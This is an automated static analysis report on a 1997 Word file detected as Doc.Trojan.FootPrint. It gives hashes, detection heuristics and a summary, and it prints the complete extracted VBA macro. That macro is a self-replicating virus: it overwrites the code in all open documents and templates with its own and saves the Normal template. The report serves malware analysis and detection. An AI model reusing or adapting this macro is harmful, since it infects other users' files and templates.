Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 652a92ddcffb47a8…

MALICIOUS

Office (OLE)

33.5 KB Created: 1997-09-17 11:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 8e2c8718f8ffe83226f59ec0632b54f0 SHA-1: 9adaf3db637920518333799bb65b5cc45181c25f SHA-256: 652a92ddcffb47a8acbbfc23a31d40634050018656f2e63db508518e03dc4e8d
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The critical ClamAV heuristics indicate this is a malicious document, specifically identified as Doc.Trojan.FootPrint. The VBA macro, triggered by Document_Open, attempts to export and re-import its own code, suggesting a mechanism for evasion or persistence. The script also attempts to write to the local file system, creating temporary files like 'c:\footprint.$$$' and 'c:\footprint.$$1'.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1855 bytes
SHA-256: 379455673898e7e3afbca911875e0d6afbfdbf5228d126de6a66a0cf3f207ff0
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_New()
Document_Open
gen = 35
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

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